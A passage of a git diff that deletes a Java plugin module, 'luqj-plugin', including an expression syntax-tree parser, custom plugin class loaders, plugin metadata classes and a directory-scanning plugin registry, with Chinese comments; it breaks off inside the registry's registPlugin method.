outputQueue.add(syntaxNode); - } - } - while (symbolStack.size() > 0) { - outputQueue.add(symbolStack.pop()); - } - return outputQueue; - } - - /** - * 获取中缀语法栈 - * - * @param root - * @return - */ - public static List syntaxStack(SyntaxNode root) { - List dataList = new LinkedList(); - if (root.syntaxType != SyntaxType.FunctionFormula && root.syntaxType != SyntaxType.Bag) { - dataList.add(root); - } - if (root.exitsChild()) { - if (root.syntaxType == SyntaxType.Bag) { - dataList.add( - SyntaxNode.createNode(ArithmeticEnum.lb.getSymbol().toCharArray(), - root.startPos, root.startPos + 1, SyntaxType.Arithmetic) - ); - } - for (SyntaxNode child : root.childs()) { - //如果是函数把它看成一个整体, 例如 1 + 2 + MAX(10, 15) 把 'MAX(10, 5)' 当成一个整体 (代元法) - if (child.syntaxType == SyntaxType.Func) { - dataList.add(child); - } else { - dataList.addAll(syntaxStack(child)); - } - } - if (root.syntaxType == SyntaxType.Bag) { - dataList.add( - SyntaxNode.createNode(ArithmeticEnum.rb.getSymbol().toCharArray(), - root.endPos - 1, root.endPos, SyntaxType.Arithmetic) - ); - } - } - return dataList; - } - - /** - * 是否缺失括号 - * - * @return - */ - private void checkMissingBracket(String expression) { - int l = 0, r = 0; - Map> symbolPos = SymbolSet.getSymBolPos(expression); - int charPos = 0; - for (char c : expression.toCharArray()) { - if (ArithmeticEnum.lb.isEqualBySymbol(c) && - !SymbolSet.isInSymbol(symbolPos, charPos, SymbolSet.SYMBOL_SQM, SymbolSet.SYMBOL_DQM)) - l++; - else if (ArithmeticEnum.rb.isEqualBySymbol(c) && - !SymbolSet.isInSymbol(symbolPos, charPos, SymbolSet.SYMBOL_SQM, SymbolSet.SYMBOL_DQM)) - r++; - charPos++; - } - if (l != r) - throw new IllegalArgumentException(l < r ? "缺失左括号" : "缺失右括号"); - } - - /** - * 语法节点 - * - * @author chenzm - */ - public static class SyntaxNode { - CharBuffer buffer = null; - - private List childs = new ArrayList(); - - int startPos; - - int endPos; - - /** - * 判断参数是否是数学算式 - */ - SyntaxType syntaxType = null; - - public SyntaxNode(char[] chars, int start, int end, SyntaxType syntaxType) { - buffer = new CharBuffer(chars); - this.startPos = start; - this.endPos = end; - this.syntaxType = syntaxType; - } - - public String getKey() { - return StringUtils.trim(new String(buffer.toArray()), SymbolSet.SYMBOL_NULL); - } - - public void asFunc() { - this.syntaxType = SyntaxType.Func; - } - - public List childs() { - return this.childs; - } - - /** - * 是否是数学算式表达式 - * - * @return - */ - public SyntaxType syntaxType() { - return this.syntaxType; - } - - public boolean exitsChild() { - if (this.childs == null || this.childs.size() == 0) { - return false; - } - return true; - } - - public SyntaxNode firstChild() { - if (!exitsChild()) return null; - return this.childs.get(0); - } - - public SyntaxNode lastChild() { - if (!exitsChild()) return null; - return this.childs.get(this.childs.size() - 1); - } - - public void addChild(SyntaxNode child) { - addChild(this.childs == null ? 0 : this.childs.size(), child); - } - - public void addChild(int index, SyntaxNode child) { - Assert.notNull(child.syntaxType, "【KEY:" + child.getKey() + ",TYPE:" + child.syntaxType + "】是未知的类型节点"); - this.childs.add(index, child); - } - - public static SyntaxNode createNode(char[] str, int start, int end) { - return new SyntaxNode(str, start, end, null); - } - - public static SyntaxNode createNode(char[] str, int start, int end, SyntaxType type) { - return new SyntaxNode(str == null ? new char[]{} : str, start, end, type); - } - - public void setKey(String key) { - this.buffer.clear(); - for (char c : key.toCharArray()) { - this.buffer.add(c); - } - this.endPos = this.startPos + key.length(); - } - - @Override - public String toString() { - StringBuilder builder = new StringBuilder(); - toString(this, builder); - return builder.toString(); - } - - private void toString(SyntaxNode node, StringBuilder builder) { - if (node.syntaxType == SyntaxType.Func) { - builder.append(node.getKey() + "("); - if (node.childs != null) { - for (int i = 0; i < node.childs().size(); i++) { - if (i != 0) { - builder.append(","); - } - toString(node.childs().get(i), builder); - } - } - builder.append(")"); - } else { - builder.append(node.getKey()); - } - } - - public static void showTree(SyntaxNode tree) { - StringBuilder builder = new StringBuilder(); - showTree(0, tree, builder); - logger.debug(builder.toString()); - } - - private static void showTree(int level, SyntaxNode tree, StringBuilder builder) { - builder.append("\n"); - for (int i = 0; i < level; i++) { - builder.append("----"); - } - builder.append(tree.getKey() + " " + tree.syntaxType()); - if (tree.childs != null) { - for (SyntaxNode child : tree.childs) { - showTree(level + 1, child, builder); - } - } - } - } - - /** - * 算式类型 - * - * @author chenzm - */ - public enum SyntaxType { - - /** - * 函数算式表达式(组合节点) - * eg:MAX(1,2,3,[A]) > 12 + 5 , 1+2+3+4 或者 [A] + [B] + 1 + 2 - */ - FunctionFormula("函数算式表达式"), - - Func("函数"), - - Field("字段"), - - Text("文本"), - - Number("数字"), - - //左右括号 eg: (1 + 3) - Bag("包"), - - Arithmetic("算术符号"), - - Comma("逗号"); - - private String desc; - - SyntaxType(String desc) { - this.desc = desc; - } - - public String getDesc() { - return this.desc; - } - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/loader/BaseClassLoader.java b/luqj-plugin/src/main/java/org/code/modules/plugins/loader/BaseClassLoader.java deleted file mode 100644 index 71f7b93..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/loader/BaseClassLoader.java +++ /dev/null @@ -1,129 +0,0 @@ -package org.code.modules.plugins.loader; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.net.URL; -import java.net.URLClassLoader; - -public class BaseClassLoader extends URLClassLoader { - - private static final Logger log = LoggerFactory.getLogger(BoundClassLoader.class); - - protected String name; - - protected String version; - - /** - * 判断是否需要加载父亲 - */ - protected boolean findParent = true; - - public String getVersion() { - return version; - } - - public void setVersion(String version) { - this.version = version; - } - - public boolean isFindParent() { - return findParent; - } - - public void setFindParent(boolean findParent) { - this.findParent = findParent; - } - - public BaseClassLoader(URL[] url, - ClassLoader classLoader, String[] patterns) { - super(url, classLoader); - } - - - public BaseClassLoader(URL[] url, - ClassLoader classLoader) { - super(url, classLoader); - } - - public BaseClassLoader(URL[] url, - ClassLoader classLoader, String name, String[] patterns) { - super(url, classLoader); - this.name = name; - } - - - @Override - protected Class loadClass(String className, boolean resolve) - throws ClassNotFoundException { - return loadClassThisFirst(className, resolve); - } - - protected Class loadClassThisFirst(String className, boolean resolve) - throws ClassNotFoundException { - if (findParent) { - // 首先从本身加载,找不到的从父亲加载 - try { - return loadClassFromThis(className, resolve); - } catch (ClassNotFoundException e) { - //e.printStackTrace(); - // ignore - } catch (NoClassDefFoundError e) { - //e.printStackTrace(); - // ignore - } - return loadClassFromParent(className, resolve); - } else { - return loadClassFromThis(className, resolve); - } - - } - - - public Class loadClassFromParent(String className, boolean resolve) throws ClassNotFoundException { - Class clz; - if ((clz = getParent().loadClass(className)) != null) { - if (log.isTraceEnabled()) { - log.trace(className + "从父加载器加载"); - } - if (resolve) { - resolveClass(clz); - } - return clz; - } - throw new ClassNotFoundException("Could not find :" + className); - } - - public synchronized Class loadClassFromThis(String className, boolean resolve) throws ClassNotFoundException { - Class clz = null; - if ((clz = findLoadedClass(className)) != null) { - if (log.isTraceEnabled()) { - log.trace(this + className + "已经从自身加载器加载"); - } - if (resolve) { - resolveClass(clz); - } - return clz; - } - if ((clz = findClass(className)) != null) { - if (log.isTraceEnabled()) { - log.trace(this + className + "正在从自身加载器加载"); - } - if (resolve) { - resolveClass(clz); - } - return clz; - } - return clz; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/loader/BoundClassLoader.java b/luqj-plugin/src/main/java/org/code/modules/plugins/loader/BoundClassLoader.java deleted file mode 100644 index c53179f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/loader/BoundClassLoader.java +++ /dev/null @@ -1,61 +0,0 @@ -package org.code.modules.plugins.loader; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.util.HashSet; -import java.util.Set; - -public class BoundClassLoader extends ClassLoader { - - private static final Logger log = LoggerFactory.getLogger(BoundClassLoader.class); - - private Set importClassLoader = new HashSet(); - - public void addImportLoader(PluginClassLoader loader) { - this.importClassLoader.add(loader); - } - - - public BoundClassLoader() { - super(); - } - - - public BoundClassLoader(ClassLoader parent) { - super(parent); - } - - @Override - public Class loadClass(String className) - throws ClassNotFoundException { - return loadClass(className, false); - } - - - @Override - protected Class loadClass(String className, boolean resolve) - throws ClassNotFoundException { - return loadClassFromImports(className, resolve); - } - - - protected Class loadClassFromImports(String className, boolean resolve) throws ClassNotFoundException { - Class clz = null; - for (PluginClassLoader loader : this.importClassLoader) { - clz = loader.loadClass(className, false); - if (clz != null) { - if (log.isTraceEnabled()) { - log.trace(className + "从" + loader + "加载"); - } - if (resolve) { - resolveClass(clz); - } - break; - } - } - return clz; - } - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/loader/PluginClassLoader.java b/luqj-plugin/src/main/java/org/code/modules/plugins/loader/PluginClassLoader.java deleted file mode 100644 index a581e6f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/loader/PluginClassLoader.java +++ /dev/null @@ -1,96 +0,0 @@ -package org.code.modules.plugins.loader; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.net.URL; -import java.util.ArrayList; -import java.util.List; -import java.util.regex.Pattern; - -public class PluginClassLoader extends BaseClassLoader { - - private static final Logger log = LoggerFactory.getLogger(BoundClassLoader.class); - - private final List patterns; - - public PluginClassLoader(URL[] url, ClassLoader classLoader, - String[] patterns) { - super(url, classLoader); - this.patterns = initPatterns(patterns); - } - - public void addURL(URL url) { - super.addURL(url); - } - - public void addURLs(URL[] urls) { - for (URL url : urls) { - super.addURL(url); - } - } - - public PluginClassLoader(ClassLoader classLoader) { - super(new URL[]{}, classLoader); - this.patterns = initPatterns(null); - } - - public PluginClassLoader(URL[] url, ClassLoader classLoader) { - super(url, classLoader); - this.patterns = initPatterns(null); - } - - public PluginClassLoader(URL[] url, ClassLoader classLoader, String name, - String[] patterns) { - super(url, classLoader); - this.name = name; - this.patterns = initPatterns(patterns); - } - - private List initPatterns(String[] patterns) { - List result = new ArrayList(); - if (patterns != null) { - for (String pattern : patterns) { - result.add(Pattern.compile(pattern)); - } - } - return result; - } - - @Override - public Class loadClass(String className) throws ClassNotFoundException { - return loadClass(className, false); - } - - @Override - protected synchronized Class loadClass(String className, boolean resolve) - throws ClassNotFoundException { - for (Pattern pattern : patterns) { - if (pattern.matcher(className).matches()) { - return loadClassParentFirst(className, resolve); - } else { - return loadClassThisFirst(className, resolve); - } - } - return loadClassThisFirst(className, resolve); - } - - private Class loadClassParentFirst(String arg0, boolean arg1) - throws ClassNotFoundException { - try { - return loadClassFromParent(arg0, arg1); - } catch (ClassNotFoundException e) { - // ignore - } catch (NoClassDefFoundError e) { - // ignore - } - return loadClassFromThis(arg0, arg1); - } - - - @Override - public String toString() { - return "[" + name + "." + version + "]加载器"; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/meta/AbstractPluginMetaBackup.java b/luqj-plugin/src/main/java/org/code/modules/plugins/meta/AbstractPluginMetaBackup.java deleted file mode 100644 index 4b92875..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/meta/AbstractPluginMetaBackup.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.code.modules.plugins.meta; - -import org.code.modules.plugins.service.IPluginMetaBackup; - -/** - * - * @author xufm - * @date 2018/4/2 - */ -public abstract class AbstractPluginMetaBackup implements IPluginMetaBackup { -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/meta/BackupMeta.java b/luqj-plugin/src/main/java/org/code/modules/plugins/meta/BackupMeta.java deleted file mode 100644 index bd51a66..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/meta/BackupMeta.java +++ /dev/null @@ -1,12 +0,0 @@ -package org.code.modules.plugins.meta; - -import java.io.Serializable; - -/** - * 备份对象 - * @author xufm - * @date 2018/5/28 - */ -public abstract class BackupMeta implements Serializable{ - private static final long serialVersionUID = 7600345767838450122L; -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/meta/PluginMeta.java b/luqj-plugin/src/main/java/org/code/modules/plugins/meta/PluginMeta.java deleted file mode 100644 index 9a4092c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/meta/PluginMeta.java +++ /dev/null @@ -1,89 +0,0 @@ -package org.code.modules.plugins.meta; - -import org.code.modules.plugins.annotation.PluginAttribute; - -import java.io.Serializable; - - -/** - * 元数据信息 基础字段 - * Created by chenzm on 2016/12/29. - */ -public abstract class PluginMeta implements Serializable{ - @PluginAttribute(name="是否增量") - protected String isIncrement; - - @PluginAttribute(name="增量字段") - protected String insertTime; - - @PluginAttribute(name="更新字段") - protected String updateTime; - - @PluginAttribute(name="异常策略") - protected String exceptionStrategy; - - @PluginAttribute(name="版本") - protected String version; - - @PluginAttribute(name="软件英文名") - protected String softwareCode; - - @PluginAttribute(name="对象ID") - protected String modelElementId; - - public String getIsIncrement() { - return isIncrement; - } - - public void setIsIncrement(String isIncrement) { - this.isIncrement = isIncrement; - } - - public String getInsertTime() { - return insertTime; - } - - public void setInsertTime(String insertTime) { - this.insertTime = insertTime; - } - - public String getUpdateTime() { - return updateTime; - } - - public void setUpdateTime(String updateTime) { - this.updateTime = updateTime; - } - - public String getExceptionStrategy() { - return exceptionStrategy; - } - - public void setExceptionStrategy(String exceptionStrategy) { - this.exceptionStrategy = exceptionStrategy; - } - - public String getVersion() { - return version; - } - - public void setVersion(String version) { - this.version = version; - } - - public String getSoftwareCode() { - return softwareCode; - } - - public void setSoftwareCode(String softwareCode) { - this.softwareCode = softwareCode; - } - - public String getModelElementId() { - return modelElementId; - } - - public void setModelElementId(String modelElementId) { - this.modelElementId = modelElementId; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/model/PluginBeanMeta.java b/luqj-plugin/src/main/java/org/code/modules/plugins/model/PluginBeanMeta.java deleted file mode 100644 index 3869fde..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/model/PluginBeanMeta.java +++ /dev/null @@ -1,53 +0,0 @@ -package org.code.modules.plugins.model; - - -import org.code.modules.plugins.loader.PluginClassLoader; - -public class PluginBeanMeta { - private String beanName; - private String className; - private String version; - private PluginClassLoader classLoader; - - - public void setVersion(String version) { - this.version = version; - } - - public PluginBeanMeta(String beanName, String className, - PluginClassLoader classLoader) { - super(); - this.beanName = beanName; - this.className = className; - this.classLoader = classLoader; - } - - public String getBeanName() { - return beanName; - } - - public void setBeanName(String beanName) { - this.beanName = beanName; - } - - public String getClassName() { - return className; - } - - public void setClassName(String className) { - this.className = className; - } - - public PluginClassLoader getClassLoader() { - return classLoader; - } - - - public String getVersion() { - return version; - } - - public void setClassLoader(PluginClassLoader classLoader) { - this.classLoader = classLoader; - } -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/plugin/IIdentifierGenerator.java b/luqj-plugin/src/main/java/org/code/modules/plugins/plugin/IIdentifierGenerator.java deleted file mode 100644 index 18b2c19..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/plugin/IIdentifierGenerator.java +++ /dev/null @@ -1,10 +0,0 @@ -package org.code.modules.plugins.plugin; - -import java.io.Serializable; - -/** - * Created by chenzm on 2017/5/9. - */ -public interface IIdentifierGenerator extends Serializable{ - String generate(IRow row); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/plugin/IRow.java b/luqj-plugin/src/main/java/org/code/modules/plugins/plugin/IRow.java deleted file mode 100644 index 2f56409..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/plugin/IRow.java +++ /dev/null @@ -1,30 +0,0 @@ -package org.code.modules.plugins.plugin; - - -import com.luqj.util.MultiValueMap; - -/** - * 数据行接口 - * Created by chenzm on 2017/1/6. - */ -public interface IRow extends MultiValueMap { - - K rowId(); - - - boolean isEndRow(); - - /** - * 是否是数据块的最后一条 - * @return - */ - boolean isLastRowForDataSet(); - - /** - * 获取源头的id - * @return 如果是一生多,this为多的一方,sourceId者为少的一方,否则为NULL; - */ - K getSourceId(); - - void setIdentifierGenerator(IIdentifierGenerator generator); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IBeanFactory.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/IBeanFactory.java deleted file mode 100644 index 3d7c065..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IBeanFactory.java +++ /dev/null @@ -1,32 +0,0 @@ -package org.code.modules.plugins.service; - - -public interface IBeanFactory { - - /** - * 获得Spring容器中的对象 - * @param beanName - * beanName - * @return Object - */ - abstract Object getBean(String beanName); - - abstract boolean containsBean(String beanName); - - void injectBean(Object obj); - - void injectBean(Object obj, String version); - - /** - * 自动装配一个Bean对象 - * autowireComponent - * @param bean - * bean - */ - abstract void autowireComponent(Object bean); - - T getBean(String beanName, Class beanClass); - - T getBean(String beanName, String version, Class beanClass); - -} \ No newline at end of file diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginMetaBackup.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginMetaBackup.java deleted file mode 100644 index b571bb3..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginMetaBackup.java +++ /dev/null @@ -1,22 +0,0 @@ -package org.code.modules.plugins.service; - - -import org.code.modules.plugins.meta.BackupMeta; -import org.code.modules.plugins.meta.PluginMeta; - -public interface IPluginMetaBackup { - - /** - * 备份对应插件所关联的元库信息或者其他信息 - * 如果没有这些信息只需空实现即可 - * @param pluginMeta 备份对象 - * @return 备份对象 - */ - T dataBackup(M pluginMeta); - - /** - * 获取备份对象 - * @param backupMeta backupMeta - */ - void recover(T backupMeta); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginMetaRegisterService.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginMetaRegisterService.java deleted file mode 100644 index 49e22b8..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginMetaRegisterService.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.code.modules.plugins.service; - -/** - * 插件元数据信息 - */ -public interface IPluginMetaRegisterService { - - void resetPluginMeta(Class pluginBeanMeta); - - T _savePluginMeta(Class pluginBeanMeta); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginRegistMethod.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginRegistMethod.java deleted file mode 100644 index 247ae74..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginRegistMethod.java +++ /dev/null @@ -1,27 +0,0 @@ -package org.code.modules.plugins.service; - - -import org.code.modules.plugins.loader.PluginClassLoader; -import org.code.modules.plugins.model.PluginBeanMeta; - -public interface IPluginRegistMethod { - - /** - * 需要注册的类 - * - * @return - */ - Class[] typeFilters(); - - boolean filter(Class clazz); - - - /** - * 对class文件进行信息封装 - * - * @param clazz - * @return - */ - PluginBeanMeta regist(PluginClassLoader loader, Class clazz); - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginRegistry.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginRegistry.java deleted file mode 100644 index dccb65b..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IPluginRegistry.java +++ /dev/null @@ -1,21 +0,0 @@ -package org.code.modules.plugins.service; - -import org.code.modules.plugins.loader.PluginClassLoader; - -public interface IPluginRegistry { - - void init(); - - boolean containsPluginBean(String beanName); - - PluginClassLoader getClassLoader(String code, String version); - - Object instancePluginBean(String beanName); - - T instancePluginBean(String beanName, Class classType); - - void clear(); - - T instancePluginBean(String beanName, String version, Class classType); - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IllegalPluginException.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/IllegalPluginException.java deleted file mode 100644 index 494c9b5..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/IllegalPluginException.java +++ /dev/null @@ -1,22 +0,0 @@ -package org.code.modules.plugins.service; - - -public class IllegalPluginException extends RuntimeException{ - - public IllegalPluginException() { - super(); - } - - public IllegalPluginException(String message, Throwable cause) { - super(message, cause); - } - - public IllegalPluginException(String message) { - super(message); - } - - public IllegalPluginException(Throwable cause) { - super(cause); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/DefPluginRegistry.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/DefPluginRegistry.java deleted file mode 100644 index 78cd17a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/DefPluginRegistry.java +++ /dev/null @@ -1,538 +0,0 @@ -package org.code.modules.plugins.service.impl; - - -import com.google.common.collect.Lists; -import com.google.common.collect.Maps; -import com.google.common.collect.Sets; -import com.luqj.util.FileSystemUtil; -import com.luqj.util.StringUtils; -import com.luqj.util.Validator; -import com.luqj.util.assertion.Assert; -import org.code.modules.plugins.loader.PluginClassLoader; -import org.code.modules.plugins.model.PluginBeanMeta; -import org.code.modules.plugins.service.IPluginRegistMethod; -import org.code.modules.plugins.service.IPluginRegistry; -import org.code.modules.plugins.service.IllegalPluginException; -import org.apache.commons.io.FileUtils; -import com.luqj.util.reflect.ClassUtils; -import com.luqj.util.reflect.JarUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.core.io.Resource; -import org.springframework.core.io.support.PathMatchingResourcePatternResolver; -import org.springframework.core.io.support.ResourcePatternResolver; -import org.springframework.stereotype.Service; - -import javax.annotation.PostConstruct; -import java.io.File; -import java.io.FileFilter; -import java.io.FileInputStream; -import java.io.IOException; -import java.lang.reflect.InvocationTargetException; -import java.net.MalformedURLException; -import java.net.URL; -import java.util.*; - -@Service("defPluginRegistry") -public class DefPluginRegistry implements IPluginRegistry { - private static final String PLUGIN_HOME = "PLUGIN_HOME"; - - private static final Logger LOGGER = LoggerFactory.getLogger(DefPluginRegistry.class); - /** - * 添加支持通过环境变量配置 plugin home [插件目录] - */ - private static final String BASE_DIR = System.getenv(PLUGIN_HOME); - - private Set registMethods = Sets.newHashSet(); - @Autowired - private PluginBeanRegister pluginRegistMethod; - @Autowired - private FuncBeanRegister funcBeanRegister; - @Autowired - private TypeMappingBeanRegister typeMappingBeanRegister; - - @Value("${plugin.base.dir:D://luqj-plugins}") - private String baseDir; - - private String pageDir; - - @PostConstruct - public void initBean() { - registMethods.add(typeMappingBeanRegister); - registMethods.add(pluginRegistMethod); - registMethods.add(funcBeanRegister); - } - - /** - * 加载器集合【插件code,version,loader】 - */ - private Map> classLoaderMap = Maps.newHashMap(); - - /** - * 【插件code,version,loader】pluginBean集合 - */ - private Map> pluginBeans = Maps.newHashMap(); - - - private Set allClassLoaders = Sets.newHashSet(); - - private Set analysisJar = Sets.newHashSet(); - - // 为什么要用 apache common 的 HashedMap? - private Map thirdPluginMap = Maps.newHashMap(); - - private void addPluginBeanMeta(String beanName, PluginBeanMeta pluginBeanMeta) { - if (this.pluginBeans.containsKey(beanName)) { - this.pluginBeans.get(beanName).put(pluginBeanMeta.getVersion(), pluginBeanMeta); - } else { - Map versions = Maps.newHashMap(); - versions.put("def", pluginBeanMeta); - LOGGER.trace("新增插件对象:{} V def", beanName); - versions.put(pluginBeanMeta.getVersion(), pluginBeanMeta); - LOGGER.trace("新增插件对象:{} V {}", beanName, pluginBeanMeta.getVersion()); - this.pluginBeans.put(beanName, versions); - } - - } - - public Object instancePluginBean(String beanName) { - return instancePluginBean(beanName, Object.class); - } - - @Deprecated - public Object instancePluginBean(String beanName, String version) { - return instancePluginBean(beanName, Object.class); - } - - public boolean containsPluginBean(String beanName) { - return this.pluginBeans.containsKey(beanName); - } - - public T instancePluginBean(String beanName, String version, Class classType) { - try { - if (!Validator.hasText(version)) { - version = "def"; - } - if (this.pluginBeans.containsKey(beanName)) { - PluginBeanMeta beanMeta = this.pluginBeans.get(beanName).get(version); - - LOGGER.trace("初始化实例[{}],版本[{}]", beanName, version); - return (T) beanMeta.getClassLoader().loadClass(beanMeta.getClassName()).newInstance(); - } - } catch (Exception e) { - //如果插件bean里有包含,初始化实例出错打出报错信息 - if (this.pluginBeans.containsKey(beanName)) { - LOGGER.error("初始化实例[{}],版本[{}]异常,异常信息{}", beanName, version, e); - } - //忽略 - LOGGER.trace("pluginBean集合找不到类" + beanName); - } - - // 如果已经设置了加载器,先从本身线程的加载器里找 - if (Thread.currentThread().getContextClassLoader() instanceof PluginClassLoader) { - PluginClassLoader loader = (PluginClassLoader) Thread.currentThread().getContextClassLoader(); - try { - T obj = (T) loader.loadClassFromThis(beanName, false).newInstance(); - if (classType.isInstance(obj)) { - return obj; - } else { - Assert.fail("[" + beanName + "]类加载器不一致,[" + obj.getClass().getClassLoader() + " != " + classType.getClassLoader() + "]"); - return null; - } - } catch (InstantiationException | IllegalAccessException e) { - throw new IllegalPluginException(beanName + "实例化异常,异常消息[" + e.getMessage() + "]", e); - } catch (ClassNotFoundException e) { - LOGGER.trace("当前类加载器{}找不到{}", loader, beanName); - } catch (Throwable e) { - LOGGER.trace(e.getMessage(), loader, beanName); - } - } - T defClassLoader = null; - for (PluginClassLoader loader : allClassLoaders) { - try { - T obj = (T) loader.loadClassFromThis(beanName, false).newInstance(); - - if (classType.isInstance(obj)) { - return obj; - } else { - Assert.fail("[" + beanName + "]类加载器不一致,[" + obj.getClass().getClassLoader() + " != " + classType.getClassLoader() + "]"); - } - defClassLoader = obj; - if (!"def".equals(version) && loader.getVersion().equals(version)) { - return obj; - } - if ("def".equals(version)) { - return obj; - } - } catch (InstantiationException | IllegalAccessException e) { - throw new IllegalPluginException(beanName + "实例化异常,异常消息[" + e.getMessage() + "]", e); - } catch (ClassNotFoundException e) { - LOGGER.trace("类加载器{}找不到{}", loader, beanName); - } catch (Throwable e) { - LOGGER.trace(e.getMessage(), loader, beanName); - } - } - if (null != defClassLoader) { - return defClassLoader; - } - try { - T obj = (T) Thread.currentThread().getContextClassLoader().loadClass(beanName).newInstance(); - return obj; - } catch (Exception ignore) { - LOGGER.trace(ignore.getMessage(), beanName); - } - LOGGER.debug("加载器也找不到类{}", beanName); - return null; - } - - public T instancePluginBean(String beanName, Class classType) { - try { - if (this.pluginBeans.containsKey(beanName)) { - PluginBeanMeta beanMeta = this.pluginBeans.get(beanName).get("def"); - return (T) beanMeta.getClassLoader().loadClass(beanMeta.getClassName()).newInstance(); - } - } catch (Exception e) { - //忽略 - LOGGER.trace("pluginBean集合找不到类:{}", beanName); - } - for (PluginClassLoader loader : allClassLoaders) { - try { - return (T) loader.loadClassFromThis(beanName, false).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new IllegalPluginException(beanName + "实例化异常,异常消息[" + e.getMessage() + "]", e); - } catch (ClassNotFoundException e) { - LOGGER.trace("{} 找不到 {}", loader, beanName); - } - } - try { - return (T) Thread.currentThread().getContextClassLoader().loadClass(beanName).newInstance(); - } catch (Exception e) { - //忽略 - } - LOGGER.warn("加载器也找不到类:{}", beanName); - return null; - } - - @Override - public void clear() { - - } - public void init() { - if (!Validator.hasText(this.baseDir)) { - this.baseDir = BASE_DIR; - } - final String TARGET = "target/classes/"; - final String WEB_INF = "WEB-INF/classes/"; - final String TEST_TARGET = "target/test-classes/"; - if (!Validator.hasText(this.pageDir)) { - String classDir = Thread.currentThread().getContextClassLoader().getResource("").getPath(); - if (classDir.endsWith(TARGET)) { - this.pageDir = classDir.substring(0, classDir.length() - TARGET.length()) + "target" + File.separator + "mistWebTmp" + File.separator; - } else if (classDir.endsWith(TEST_TARGET)) { - this.pageDir = classDir.substring(0, classDir.length() - TEST_TARGET.length()) + "target/classes/META-INF/resources/"; - } else { - if(classDir.length() > WEB_INF.length()) { - this.pageDir = classDir.substring(0, classDir.length() - WEB_INF.length()); - }else{ - this.pageDir = classDir; - } - } - } - - //获取到软件表中的所有软件信息 plugin下的一级子目录[软件目录] - File[] codeFiles = new File(baseDir).listFiles(pluginFileFilter); - if (codeFiles == null || codeFiles.length == 0) { - LOGGER.error("插件目录:[" + baseDir + "]为空!"); - return; - } - for (File codeFile : codeFiles) { - // plugin下的二级子目录[版本目录] - File[] versionFiles = codeFile.listFiles(pluginFileFilter); - if (versionFiles == null || versionFiles.length == 0) { - continue; - } - for (File versionFile : versionFiles) { - registPlugin(codeFile.getName(), versionFile.getName()); - } - } - //第三方开发平台使用 - addDevPlugin(); - } - - - /** - * 添加开发平台插件 - */ - private void addDevPlugin() { - for (String packageName : thirdPluginMap.keySet()) { - String code = packageName.substring(packageName.lastIndexOf(".") + 1); - String version = thirdPluginMap.get(packageName); - Map pluginMap = Maps.newHashMap(); - try { - String pluginDir = code + File.separator + version; - PluginClassLoader pluginClassLoader = new PluginClassLoader( - getClassURL(baseDir, pluginDir), - Thread.currentThread().getContextClassLoader()); - pluginClassLoader.setName(code); - pluginClassLoader.setVersion(version); - List classNames = ClassUtils.getClasssFromPackage(packageName); - addPluginInit(classNames, version, pluginClassLoader); - pluginMap.put(version, pluginClassLoader); - classLoaderMap.put(code, pluginMap); - allClassLoaders.add(pluginClassLoader); - } catch (Exception e) { - LOGGER.warn(e.getMessage(), e); - } - } - } - - private final static FileFilter pluginFileFilter = new FileFilter() { - @Override - public boolean accept(File file) { - return file.isDirectory() && !file.isHidden(); - } - }; - - public PluginClassLoader getClassLoader(String code, String version) { - Assert.logic(classLoaderMap.containsKey(code), "容器找不到指定插件名称[" + code + "]的类"); - return classLoaderMap.get(code).get(version); - } - - public void registPlugin(String code, String version) { - try { - //已经加载过 - if (classLoaderMap.containsKey(code)) { - PluginClassLoader loader = createClassLoader(code, version); - 